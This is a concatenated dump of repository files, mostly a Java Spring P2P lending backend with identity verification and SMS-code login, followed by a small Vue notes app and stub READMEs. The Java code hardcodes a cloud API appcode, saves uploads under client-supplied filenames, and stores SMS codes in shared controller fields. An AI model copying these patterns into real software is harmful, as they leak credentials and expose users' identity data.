protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
System.out.println("认证");
String username = token.getPrincipal().toString();
String password = token.getCredentials().toString();
sysUser user=new sysUser();
user.setUname(username);
user.setPassword(password);
// 根据用户名获取对应的用户信息
sysUser users = sysUserService.getUser(user);
if (null == users) {
throw new UnknownAccountException();
}
SimpleAuthenticationInfo info = new SimpleAuthenticationInfo(
users.getUname(),
users.getPassword(),
// 盐
ByteSource.Util.bytes(users.getSalt()),
this.getName()
);
return info;
}
}
```
userIdentityMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.userIdentity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface userIdentityMapper {
//添加
int insert(userIdentity record);
//查询
userIdentity getIdentity(userIdentity identity);
//解绑手机号或者切换
int updateIdentity(String phone);
//查询集合
List<userIdentity> getListIdentity(userIdentity identity);
//修改信息
int updateIdentitySelectKey(userIdentity identity);
}```
ILoanService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Loan;
import com.zking.ssm.util.PageBean;
import java.util.List;
public interface ILoanService {
int deleteByPrimaryKey(String id);
int insert(Loan record);
Loan selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(Loan record);
List<Loan> ListLoan(Loan loan, PageBean pageBean);
//审核失败
int Update(Loan loan);
//审核成功
int Updatecg(Loan loan);
}
```
ModuleServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.ModuleMapper;
import com.zking.ssm.model.Module;
import com.zking.ssm.services.IModuleService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class ModuleServiceImpl implements IModuleService {
@Autowired
private ModuleMapper moduleMapper;
@Override
public List<Module> listModuleByUserId(String userId) {
return moduleMapper.listModuleByUserId(userId);
}
@Override
public List<Module> listModuleById(int id) {
return moduleMapper.listModuleById(id);
}
}
```
IBorrowmoneyService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Borrowmoney;
import com.zking.ssm.util.PageBean;
import java.util.List;
public interface IBorrowmoneyService {
int deleteByPrimaryKey(String id);
int insert(Borrowmoney record);
int insertSelective(Borrowmoney record);
Borrowmoney selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(Borrowmoney record);
int updateByPrimaryKey(Borrowmoney record);
List<Borrowmoney> getListBorrowMoney(Borrowmoney borrowmoney);
//查询
List<Borrowmoney> BorrowmoneyList(Borrowmoney borrowmoney, PageBean pageBean);
}```
IdentityAuditController.java
```package com.zking.ssm.controller.back.audit;
import com.zking.ssm.model.IdentityAudit;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.services.IdentityAuditService;
import com.zking.ssm.util.HttpUtils;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import jdk.management.resource.internal.inst.NetRMHooks;
import org.apache.http.HttpResponse;
import org.apache.http.util.EntityUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@Controller
@RequestMapping("/IdentityAudit")
public class IdentityAuditController {
@Autowired
private IdentityAuditService auditService;
@Autowired
private ISysUserService userService;
//多文件上传
@RequestMapping("/uploadIdentity")
@ResponseBody
public Object uploadIdentity(MultipartFile[] imgs, HttpServletResponse response)throws Exception{
for(int i=0;i<imgs.length;i++){
String realPath="D:\\T228\\HBulide数据\\Vue\\p2p_project\\src\\assets\\indentityImg\\"+imgs[i].getOriginalFilename();
try {
File file=new File(realPath);
imgs[i].transferTo(file);
}catch (Exception e){
response.sendRedirect("http://localhost:8083/#/realName");
return jsonData.toJsonMessage("失败",false);
}
//
}
response.sendRedirect("http://localhost:8083/#/realName");
uploadIdentity2(imgs);
return null;
}
// @RequestMapping("/uploadIdentity2")
public void uploadIdentity2(MultipartFile[] imgs)throws Exception{
System.out.println(imgs);
for(int i=0;i<imgs.length;i++){
String realPath2="D:\\T228\\HBulide数据\\Vue\\p2p_back\\src\\assets\\identityImg\\"+imgs[i].getOriginalFilename();
try {
File file=new File(realPath2);
imgs[i].transferTo(file);
}catch (Exception e){
e.printStackTrace();
}
}
}
//添加认证
@RequestMapping("/addAudit")
@ResponseBody
public Object addAudit(IdentityAudit identityAudit){
identityAudit.setId(uuidUtil.getUUID());
int i = auditService.insertSelective(identityAudit);
if(i>0){
return jsonData.toJsonMessage("认证上传成功",true);
}else{
return jsonData.toJsonMessage("认证上传成功",false);
}
}
//加载个人认证信息
@RequestMapping("/loadIdentity")
@ResponseBody
public Object loadIdentity(String uid){
IdentityAudit identityAudit = auditService.selectByPrimaryKey(uid);
if(identityAudit!=null){
return jsonData.toJsonObject(true,identityAudit);
}else{
return jsonData.toJsonObject(false,"");
}
}
//加载所有认证信息
@RequestMapping("/loadAllIdentity")
@ResponseBody
public Object loadAllIdentity(IdentityAudit identityAudit, PageBean pageBean){
List<IdentityAudit> identityAudits = auditService.listIdentity(identityAudit,pageBean);
for (IdentityAudit audit : identityAudits) {
sysUser user= new sysUser();
user.setUid(audit.getUid());
audit.setSysUsers(userService.getListUser(user,pageBean));
}
return jsonData.toJsonPager("",true,identityAudits.size(),identityAudits);
}
//修改认证信息
@RequestMapping("/updateIdentity")
@ResponseBody
public Object updateIdentity(IdentityAudit identityAudit) {
int i = auditService.updateByPrimaryKeySelective(identityAudit);
if(i>0){
return jsonData.toJsonMessage("信息反馈成功",true);
}else{
return jsonData.toJsonMessage("信息反馈失败",false);
}
}
//姓名身份证二要素认证
@RequestMapping("/identityTwo")
@ResponseBody
public Object identotyTwo(IdentityAudit identityAudit) throws Exception{
String host = "https://idcert.market.alicloudapi.com";
String path = "/idcard";
String method = "GET";
String appcode = "545f91cd0fbd4fa48692740d8d5121f4";
Map<String, String> headers = new HashMap<String, String>();
//最后在header中的格式(中间是英文空格)为Authorization:APPCODE 83359fd73fe94948385f570e3c139105
headers.put("Authorization", "APPCODE " + appcode);
Map<String, String> querys = new HashMap<String, String>();
querys.put("idCard",identityAudit.getIdentity());
querys.put("name", identityAudit.getUname());
HttpResponse response = HttpUtils.doGet(host, path, method, headers, querys);
return jsonData.toJsonObject(true, EntityUtils.toString(response.getEntity()));
}
}
```
CorporateDeposit.java
```package com.zking.ssm.model;
import lombok.ToString;
import java.math.BigDecimal;
@ToString
public class CorporateDeposit {
private String id;
private BigDecimal getmoney;
private String pid;
private BigDecimal capital;
//减钱数据没有的
private int rangelimit;
public int getRangelimit() {
return rangelimit;
}
public void setRangelimit(int rangelimit) {
this.rangelimit = rangelimit;
}
public CorporateDeposit(String id, BigDecimal getmoney, String pid, BigDecimal capital) {
this.id = id;
this.getmoney = getmoney;
this.pid = pid;
this.capital = capital;
}
public CorporateDeposit() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public BigDecimal getGetmoney() {
return getmoney;
}
public void setGetmoney(BigDecimal getmoney) {
this.getmoney = getmoney;
}
public String getPid() {
return pid;
}
public void setPid(String pid) {
this.pid = pid;
}
public BigDecimal getCapital() {
return capital;
}
public void setCapital(BigDecimal capital) {
this.capital = capital;
}
}```
IBorrowmoneyImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.BorrowmoneyMapper;
import com.zking.ssm.model.Borrowmoney;
import com.zking.ssm.services.IBorrowmoneyService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class IBorrowmoneyImpl implements IBorrowmoneyService {
@Autowired
private BorrowmoneyMapper borrowmoneyMapper;
@Override
public int deleteByPrimaryKey(String id) {
return borrowmoneyMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(Borrowmoney record) {
return borrowmoneyMapper.insert(record);
}
@Override
public int insertSelective(Borrowmoney record) {
return borrowmoneyMapper.insertSelective(record);
}
@Override
public Borrowmoney selectByPrimaryKey(String id) {
return borrowmoneyMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(Borrowmoney record) {
return borrowmoneyMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(Borrowmoney record) {
return borrowmoneyMapper.updateByPrimaryKey(record);
}
@Override
public List<Borrowmoney> getListBorrowMoney(Borrowmoney borrowmoney) {
return borrowmoneyMapper.getListBorrowMoney(borrowmoney);
}
@Override
public List<Borrowmoney> BorrowmoneyList(Borrowmoney borrowmoney, PageBean pageBean) {
return borrowmoneyMapper.BorrowmoneyList(borrowmoney);
}
}
```
MoneyRecordMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Borrowmoney;
import com.zking.ssm.model.MoneyRecord;
import java.util.List;
public interface MoneyRecordMapper {
int deleteByPrimaryKey(String id);
int insert(MoneyRecord record);
int insertSelective(MoneyRecord record);
MoneyRecord selectByPrimaryKey(String uid);
int updateByPrimaryKeySelective(MoneyRecord record);
int updateByPrimaryKey(MoneyRecord record);
//查询
List<Borrowmoney> BorrowmoneyList(Borrowmoney borrowmoney);
}```
CorporateDepostitCotroller.java
```package com.zking.ssm.controller.back.power;
import com.zking.ssm.model.CorporateDeposit;
import com.zking.ssm.model.Loan;
import com.zking.ssm.services.ICorporateDepostitService;
import com.zking.ssm.util.jsonData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/Corporate")
public class CorporateDepostitCotroller {
@Autowired
private ICorporateDepostitService depostitService;
@RequestMapping("/Update")
@ResponseBody
public Object Update(CorporateDeposit corporateDeposit){
int update = depostitService.Update(corporateDeposit);
return jsonData.toJsonObject(true,update);
}
}
```
platFormBankInfo.java
```package com.zking.ssm.model;
import lombok.ToString;
import java.math.BigDecimal;
@ToString
public class platFormBankInfo {
private String id;
private String uid;
private String bankname;
private String accountname;
private String idcard;
private BigDecimal balance;
private String phonenumber;
private String identity;
public platFormBankInfo(String id, String uid, String bankname, String accountname, String idcard, BigDecimal balance, String phonenumber) {
this.id = id;
this.uid = uid;
this.bankname = bankname;
this.accountname = accountname;
this.idcard = idcard;
this.balance = balance;
this.phonenumber = phonenumber;
}
public platFormBankInfo() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getBankname() {
return bankname;
}
public void setBankname(String bankname) {
this.bankname = bankname;
}
public String getAccountname() {
return accountname;
}
public void setAccountname(String accountname) {
this.accountname = accountname;
}
public String getIdcard() {
return idcard;
}
public void setIdcard(String idcard) {
this.idcard = idcard;
}
public BigDecimal getBalance() {
return balance;
}
public void setBalance(BigDecimal balance) {
this.balance = balance;
}
public String getPhonenumber() {
return phonenumber;
}
public void setPhonenumber(String phonenumber) {
this.phonenumber = phonenumber;
}
public String getIdentity() {
return identity;
}
public void setIdentity(String identity) {
this.identity = identity;
}
}```
IuserIdentityService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.userIdentity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
public interface IuserIdentityService {
//添加
int insert(userIdentity record);
//查询
userIdentity getIdentity(userIdentity identity);
//修改
int updateIdentity(String phone);
//查询集合
List<userIdentity> getListIdentity(userIdentity identity);
//修改信息
int updateIdentitySelectKey(userIdentity identity);
}```
Product.java
```package com.zking.ssm.model;
import lombok.Data;
@Data
public class Product {
private String id;
private String title;
private Integer rangelimit;
private Integer pdate;
private String remark;
private Float interest;
}```
IdentityAuditService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.IdentityAudit;
import com.zking.ssm.util.PageBean;
import java.util.List;
public interface IdentityAuditService {
int deleteByPrimaryKey(String id);
int insert(IdentityAudit record);
int insertSelective(IdentityAudit record);
IdentityAudit selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(IdentityAudit record);
int updateByPrimaryKey(IdentityAudit record);
List<IdentityAudit> listIdentity(IdentityAudit audit, PageBean pageBean);
}```
LoanMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Loan;
import java.util.List;
public interface LoanMapper {
int deleteByPrimaryKey(String id);
int insert(Loan record);
Loan selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(Loan record);
List<Loan> ListLoan(Loan loan);
//审核失败
int Update(Loan loan);
//审核成功
int Updatecg(Loan loan);
}```
userIdentityController.java
```package com.zking.ssm.controller.front.user;
import com.zking.ssm.model.UserAccount;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.model.userIdentity;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.services.IUserAccountService;
import com.zking.ssm.services.IuserIdentityService;
import com.zking.ssm.shiro.PasswordHelper;
import com.zking.ssm.util.*;
import org.apache.http.HttpResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
@Controller
@RequestMapping("/userIndentity")
public class userIdentityController {
// 设置验证码有效时间
@Autowired
private IuserIdentityService identityService;
@Autowired
private ISysUserService userService;
@Autowired
private IUserAccountService accountService;
String uid, code;
@RequestMapping("/phoneLogin")
//获取短信验证码
public Object getCode(userIdentity identity) {
//获取手机号码
uid=null;
String phone = identity.getPhone();
code = getPhoneCode.getCode(phone);
userIdentity identity1 = identityService.getIdentity(identity);
System.out.println(identity1);
uid = identity1.getUid();
return null;
}
@RequestMapping("/goPhoneLogin")
@ResponseBody
public Object goPhoneLogin(String codes, PageBean pageBean) {
if (codes == code || codes.equals(code)) {
//代表验证码输入正确
sysUser user = new sysUser();
user.setUid(uid);
System.out.println(user);
try {
List<sysUser> listUser = userService.getListUser(user,pageBean);
uid=null;
return jsonData.toJsonObject(true, listUser.get(0));
} catch (Exception e) {
return jsonData.toJsonMessage("手机号未绑定任何账号", false);
}
} else {
return jsonData.toJsonMessage("验证码输入错误", false);
}
}
// =======================注册模块,相关信息的添加与绑定=====================================
@RequestMapping("/addPhone")
public Object addPhone(userIdentity identity) {
System.out.println(identity);
String code1 = getPhoneCode.getCode(identity.getPhone());
code=code1;
return null;
}
@RequestMapping("/verifyCode")
@ResponseBody
public Object verifyCode(String codes,userIdentity identity){
//判断验证码是否输入正确
if (codes == code || codes.equals(code)) {
//1.判断该手机号是否已被注册
userIdentity identity1 = identityService.getIdentity(identity);
if(null==identity1){
//未被注册
return jsonData.toJsonMessage("",true);
}else{
//已被注册
return jsonData.toJsonMessage("手机号已被注册",true);
}
}else{
return jsonData.toJsonMessage("验证码输入错误",false);
}
}
//验证账号是否已被注册
@RequestMapping("/verifyUserName")
@ResponseBody
public Object verifyUserName(sysUser user){
sysUser user1 = userService.getUser(user);
if(null!=user1){
return jsonData.toJsonMessage("该账户已存在,请切换",true);
}else{
return jsonData.toJsonMessage("",false);
}
}
//注册新账号
@RequestMapping("/newAccount")
@ResponseBody
public Object newAccount(String phone,boolean update,sysUser user){
System.out.println(phone);
if(update){
//解除绑定
identityService.updateIdentity(phone);
}
//添加绑定
String id=uuidUtil.getUUID();
String uid=uuidUtil.getUUID();
//添加用户
String salt = PasswordHelper.createSalt();
//凭证+盐加密后得到的密码
String password = PasswordHelper.createCredentials(user.getPassword(), salt);
user.setUid(uid);
user.setPassword(password);
user.setSalt(salt);
userService.doRegister(user);
userIdentity identity=new userIdentity();
identity.setId(id);
identity.setUid(uid);
identity.setPhone(phone);
identityService.insert(identity);
UserAccount userAccount=new UserAccount();
userAccount.setId(uuidUtil.getUUID());
userAccount.setUid(uid);
accountService.insertSelective(userAccount);
return jsonData.toJsonMessage("用户注册成功",true);
}
//查询用户个人认证情况信息
@RequestMapping("/lookUserIdentity")
@ResponseBody
public Object lookUserIdentity(userIdentity identity){
System.out.println(identity);
userIdentity identity1 = identityService.getIdentity(identity);
if(null!=identity1){
return jsonData.toJsonObject(true,identity1);
}else{
return jsonData.toJsonObject(false,null);
}
}
//修改个人对应信息
@RequestMapping("/updateIdentity")
@ResponseBody
public Object updateIdentity(userIdentity identitys){
int i = identityService.updateIdentitySelectKey(identitys);
if(i>0){
return jsonData.toJsonMessage("ok",true);
}else{
return jsonData.toJsonMessage("no",false);
}
}
}
```
BiddingController.java
```package com.zking.ssm.controller.back.audit;
import com.zking.ssm.model.*;
import com.zking.ssm.services.IBiddingService;
import com.zking.ssm.services.IBorrowmoneyService;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.jsonData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.List;
@Controller
@RequestMapping("/bidding")
public class BiddingController {
@Autowired
private IBiddingService biddingService;
@Autowired
private IBorrowmoneyService borrowmoneyService;
@Autowired
private ISysUserService sysUserService;
private sysUser sysUser;
private Borrowmoney borrowmoney;
@ModelAttribute
public void init(){
System.out.println("init");
borrowmoney=new Borrowmoney();
sysUser=new sysUser();
}
//三表联查
@RequestMapping("/List")
@ResponseBody
public Object List(Bidding bidding, PageBean pageBean){
List<Bidding> biddings = biddingService.BiddingList(bidding, pageBean);
List<Bidding> list=new ArrayList<>();
for (Bidding biddi: biddings) {
borrowmoney.setUid(biddi.getUid());
sysUser.setUid(biddi.getUid());
biddi.setBorrowmoney(borrowmoneyService.BorrowmoneyList(borrowmoney,pageBean).get(0));
biddi.setSysUser(sysUserService.getListUser(sysUser,pageBean).get(0));
list.add(biddi);
}
return jsonData.toJsonPager("",true,biddings.size(),list);
}
//审核失败
@RequestMapping("/Update")
@ResponseBody
public Object Update(Bidding bidding){
int update = biddingService.Update(bidding);
return jsonData.toJsonObject(true,update);
}
//审核成功
@RequestMapping("/updatecg")
@ResponseBody
public Object updatecg(Bidding bidding){
int update = biddingService.Updatecg(bidding);
return jsonData.toJsonObject(true,update);
}
}
```
SysPowerRoleMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.SysPowerRole;
import java.util.List;
public interface SysPowerRoleMapper {
//根据角色ID和用户查看
SysPowerRole selectSysPowerRoleByRoleId(SysPowerRole sysPowerRole);
int insert(SysPowerRole record);
int insertSelective(SysPowerRole record);
}```
SysUserServiceImplTest.java
```import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.services.impl.BaseTestCase;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import static org.junit.Assert.*;
public class SysUserServiceImplTest extends BaseTestCase {
@Autowired
private ISysUserService userService;
private sysUser user;
@Before
public void setUp() throws Exception {
user=new sysUser();
}
@Test
public void doRegister() {
}
@Test
public void updateUser() {
}
@Test
public void getUser() {
}
@Test
public void getListUser() {
}
}```
Dictionary.java
```package com.zking.ssm.model;
import lombok.ToString;
@ToString
public class Dictionary {
// aaaaaaaaaa
private String id;
private String dicttype;
private String dictitem;
private String dictvalue;
private Integer dictiseditable;
public Dictionary(String id, String dicttype, String dictitem, String dictvalue, Integer dictiseditable) {
this.id = id;
this.dicttype = dicttype;
this.dictitem = dictitem;
this.dictvalue = dictvalue;
this.dictiseditable = dictiseditable;
}
public Dictionary() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getDicttype() {
return dicttype;
}
public void setDicttype(String dicttype) {
this.dicttype = dicttype;
}
public String getDictitem() {
return dictitem;
}
public void setDictitem(String dictitem) {
this.dictitem = dictitem;
}
public String getDictvalue() {
return dictvalue;
}
public void setDictvalue(String dictvalue) {
this.dictvalue = dictvalue;
}
public Integer getDictiseditable() {
return dictiseditable;
}
public void setDictiseditable(Integer dictiseditable) {
this.dictiseditable = dictiseditable;
}
}```
UserAccountServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.UserAccountMapper;
import com.zking.ssm.model.UserAccount;
import com.zking.ssm.services.IUserAccountService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class UserAccountServiceImpl implements IUserAccountService {
@Autowired
private UserAccountMapper userAccountMapper;
@Override
public int deleteByPrimaryKey(String id) {
return userAccountMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(UserAccount record) {
return userAccountMapper.insert(record);
}
@Override
public int insertSelective(UserAccount record) {
return userAccountMapper.insertSelective(record);
}
@Override
public UserAccount selectByPrimaryKey(String id) {
return userAccountMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(UserAccount record) {
return userAccountMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(UserAccount record) {
return userAccountMapper.updateByPrimaryKey(record);
}
}
```
DictionaryMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Dictionary;
import java.util.List;
public interface DictionaryMapper {
//wwee
int deleteByPrimaryKey(Dictionary dictionary);
int insert(Dictionary record);
Dictionary selectByPrimaryKey(Dictionary dictionary);
int updateByPrimaryKeySelective(Dictionary record);
List<Dictionary> DictionaryList(Dictionary dictionary);
List<Object> TypeList();
List<Dictionary> hdList(Dictionary dictionary);
}```
PlatFormBankInfoImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.platFormBankInfoMapper;
import com.zking.ssm.model.platFormBankInfo;
import com.zking.ssm.services.IplatFormBankInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class PlatFormBankInfoImpl implements IplatFormBankInfoService {
@Autowired
private platFormBankInfoMapper bankInfoMapper;
@Override
public int deleteByPrimaryKey(String id) {
return bankInfoMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(platFormBankInfo record) {
return bankInfoMapper.insert(record);
}
@Override
public int insertSelective(platFormBankInfo record) {
return bankInfoMapper.insertSelective(record);
}
@Override
public List<platFormBankInfo> selectByPrimaryKey(platFormBankInfo bankInfo) {
return bankInfoMapper.selectByPrimaryKey(bankInfo);
}
@Override
public int updateByPrimaryKeySelective(platFormBankInfo record) {
return bankInfoMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(platFormBankInfo record) {
return bankInfoMapper.updateByPrimaryKey(record);
}
}
```
ModuleServiceImplTest.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.model.Module;
import com.zking.ssm.services.IModuleService;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.ArrayList;
import java.util.List;
public class ModuleServiceImplTest extends BaseTestCase{
@Autowired
private IModuleService moduleService;
private Module m;
@Before
public void setUp() throws Exception {
m=new Module();
}
@After
public void tearDown() throws Exception {
}
@Test
public void selectByPrimaryKey() {
List<Module> modules = moduleService.listModuleByUserId(null);
for (Module module : modules) {
module.setChildren(moduleService.listModuleById(module.getId()));
}
System.out.println(modules);
}
}```
ModuleMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Module;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface ModuleMapper {
//根据用户角色查询出对应的模块权限
List<Module> listModuleByUserId(String userId);
//根据模块权限查询出功能权限
List<Module> listModuleById(int id);
}```
|
13588936722/startup-project
|
13588936722/startup-project
REMARD.md
```# 1.测试标题
<!-- 测试数据 -->```
|
1359219091yu/newApp
|
1359219091yu/newApp
app.js
```Vue.config.productionTip=true
//孙子元素
var Editor = {
props:['entityObject'],
data:function(){
return {
entity:this.entityObject
}
},
//update函数进行更新
methods:{
update:function(){
//子元素向父元素传递数据
this.$emit('updateEvent')
}
},
//表单模板
template:`
<div class="ui form">
<div class="field">
<textarea
row="5"
placeholder="请写点什么"
class="textarea"
v-model="entity.body"
v-on:input="update"
>
</textarea>
</div>
</div>
`
}
//子元素
var Note = {
//props父元素向子元素传递信息
props:['entityObject'],
data:function(){
return {
entity:this.entityObject,
show:true
}
},
//更新时间,获取字数,字符串的截取
computed:{
meta:function(){
//获取当前时间与之前时间进行计算
return moment(this.entity.meta.updated).fromNow()
},
word:function(){
return this.entity.body.trim().length
},
header:function(){
return _.truncate(this.entity.body,{length:30})
}
},
methods:{
save:function(){
loadCollection("notes")
.then(collection => {
collection.update(this.entity)
db.saveDatabase()
})
},
del:function(){
this.$emit("destroyEvent",this.entity.$loki)
}
},
//编辑标题模板
template:`
<div class="item">
<div class="meta">
{{ meta }}
</div>
<div class="content">
<div class="header" @click="show=!show">
{{ header || '新增笔记'}}
</div>
<div class="extra">
<editor
@updateEvent="save"
v-bind:entityObject="entity" v-show='show'></editor>
</div>
{{ word }}字
<i class="icon trash right floated"
@click="del"></i>
</div>
</div>
`,
// editor是Note的子组件
components:{
"editor":Editor
}
}
// 父元素
var Notes = {
data:function(){
return {
//定义全局变量,数据存储在这个数组
entities:[]
}
},
//查询数据
created:function(){
loadCollection("notes")
//回调函数,箭头函数
.then(collection => {
//定义一个变量,进行id($loki)查询
var _entities = collection.chain()
.find()
.simplesort('$loki','isdesc')
.data()
console.log(_entities)
this.entities = _entities
})
},
//头部标题模板
template:`
<div class="ui container notes">
<div class="ui horizontal divider header">
<i class="icon paw"></i>
Notes App -- Vue.js
</div>
<button class="ui right floated button violet basic"
@click="insertEntity">
添加笔记
</button>
<div class='div ' v-show='entities.length==0'>
----请单击按钮进行文章添加----
</div>
<div class="ui items divided">
<note v-for="entity in entities"
v-bind:entityObject="entity"
v-bind:key="entity.$loki"
@destroyEvent="destroyEntity">
</note>
</div>
</div>
`,
//点击添加文章,进行插入操作
methods:{
insertEntity:function(){
loadCollection("notes")
//插入数据
.then( collection => {
var _entity = collection.insert({"body":""})
//存储到location本地记录
db.saveDatabase()
//当前数据放在entity
this.entities.unshift(_entity)
})
},
destroyEntity:function(id){
var xuanze=confirm('确定要删除');
if(xuanze){
var _entities = this.entities.filter( entity => {
return entity.$loki !== id
})
this.entities = _entities
loadCollection("notes")
.then( collection => {
collection.remove({"$loki":id})
db.saveDatabase()
})
}
}
},
components:{
"note":Note
}
}
var vm = new Vue({
el:'#app',
components:{
"notes":Notes
},
template:`
<notes></notes>
`
})
```
|
1363899341zx/xiaomi
|
1363899341zx/xiaomi
README.md
```# xiaomi
zheshiwodexiaomi
```
|